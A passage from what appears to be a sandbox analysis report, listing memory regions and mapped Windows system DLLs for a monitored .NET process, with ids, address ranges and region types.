0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4598 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4599 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4600 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4601 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4602 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4603 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4604 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4605 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4606 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4607 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4608 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4609 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4610 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4611 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4612 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 4613 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 4614 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 4615 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 4616 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 4617 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 4618 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 4619 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 4620 start_va = 0x23d0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 4621 start_va = 0x23f0000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 4622 start_va = 0x2410000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 4623 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 4624 start_va = 0x1ad00000 end_va = 0x1ad0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 4625 start_va = 0x1ad10000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 4626 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 4627 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 4628 start_va = 0x7ff9ff350000 end_va = 0x7ff9ff35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff350000" filename = "" Region: id = 4629 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4630 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4631 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4632 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4633 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4634 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4635 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4636 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4637 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4638 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4639 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4640 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4641 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 4642 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 4643 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 4644 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4645 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4646 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4647 start_va = 0x7ffa620c0000 end_va = 0x7ffa621e1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\2fe311002b76e58f2f89f897a32b62a2\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\2fe311002b76e58f2f89f897a32b62a2\\system.configuration.ni.dll") Region: id = 4648 start_va = 0x7ffa5a460000 end_va = 0x7ffa5ad05fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\c2f35cb9621b8ca33a05759bbb0683c1\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\c2f35cb9621b8ca33a05759bbb0683c1\\system.xml.ni.dll") Region: id = 4649 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 4650 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4651 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4652 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4653 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4654 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4655 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4656 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4657 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4658 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4659 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4660 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4661 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4662 start_va = 0x7ffa79430000 end_va = 0x7ffa7a98efff monitored = 0 entry_point = 0x7ffa795911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 4663 start_va = 0x7ffa786c0000 end_va = 0x7ffa78702fff monitored = 0 entry_point = 0x7ffa786d4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4664 start_va = 0x7ffa78ba0000 end_va = 0x7ffa791e3fff monitored = 0 entry_point = 0x7ffa78d664b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 4665 start_va = 0x7ffa78530000 end_va = 0x7ffa785e4fff monitored = 0 entry_point = 0x7ffa785722e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 4666 start_va = 0x7ffa784e0000 end_va = 0x7ffa7852afff monitored = 0 entry_point = 0x7ffa784e35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4667 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4668 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 4669 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4670 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4671 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4672 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4673 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4674 start_va = 0x7ffa78330000 end_va = 0x7ffa78358fff monitored = 0 entry_point = 0x7ffa78344530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4675 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4676 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4677 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4678 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4679 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4680 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4681 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4682 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4683 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4684 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4685 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4686 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4687 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4688 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4689 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4690 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4691 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4715 start_va = 0x640000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4716 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4717 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4718 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4719 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4720 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4721 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4722 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4723 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4724 start_va = 0x1b1c0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 4725 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4726 start_va = 0x1b2c0000 end_va = 0x1b686fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4727 start_va = 0x1b2c0000 end_va = 0x1b68cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4728 start_va = 0x1b2c0000 end_va = 0x1b688fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4743 start_va = 0x1b2c0000 end_va = 0x1b68cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4744 start_va = 0x1b2c0000 end_va = 0x1b68dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4745 start_va = 0x1b2c0000 end_va = 0x1b68bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4746 start_va = 0x1b2c0000 end_va = 0x1b688fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4747 start_va = 0x1b2c0000 end_va = 0x1b68bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4748 start_va = 0x1b2c0000 end_va = 0x1b68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4749 start_va = 0x1b2c0000 end_va = 0x1b694fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4750 start_va = 0x1b2c0000 end_va = 0x1b692fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4760 start_va = 0x1b2c0000 end_va = 0x1b690fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4761 start_va = 0x1b2c0000 end_va = 0x1b691fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4762 start_va = 0x1b2c0000 end_va = 0x1b68efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4763 start_va = 0x1b2c0000 end_va = 0x1b692fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4764 start_va = 0x1b2c0000 end_va = 0x1b690fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4765 start_va = 0x1b2c0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4766 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4767 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4768 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4769 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4770 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4771 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4772 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4773 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4774 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4775 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4776 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4777 start_va = 0x2220000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4778 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 4779 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 4780 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 4781 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 4782 start_va = 0x640000 end_va = 0x647fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 4783 start_va = 0x7ff9ff360000 end_va = 0x7ff9ff36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff360000" filename = "" Region: id = 4784 start_va = 0x7ff9ff370000 end_va = 0x7ff9ff37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff370000" filename = "" Region: id = 4785 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4786 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4787 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4788 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4789 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4790 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4791 start_va = 0x7ffa61e60000 end_va = 0x7ffa61fbefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\2b17cdd44210c6b182c3804d228caba4\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\2b17cdd44210c6b182c3804d228caba4\\system.management.ni.dll") Region: id = 4792 start_va = 0x7ff9ff380000 end_va = 0x7ff9ff38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff380000" filename = "" Region: id = 4793 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4794 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4795 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4796 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4797 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4798 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4799 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4800 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4801 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4802 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4803 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4804 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4805 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4806 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4807 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4808 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4809 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4810 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 4811 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4812 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4813 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4814 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4815 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4816 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4817 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4818 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4819 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4820 start_va = 0x7ffa77e20000 end_va = 0x7ffa77e36fff monitored = 0 entry_point = 0x7ffa77e279d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4821 start_va = 0x7ffa77ab0000 end_va = 0x7ffa77ae3fff monitored = 0 entry_point = 0x7ffa77acae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4822 start_va = 0x7ffa77f40000 end_va = 0x7ffa77f4afff monitored = 0 entry_point = 0x7ffa77f419a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4823 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4824 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4825 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4826 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4827 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4828 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4829 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4830 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4831 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 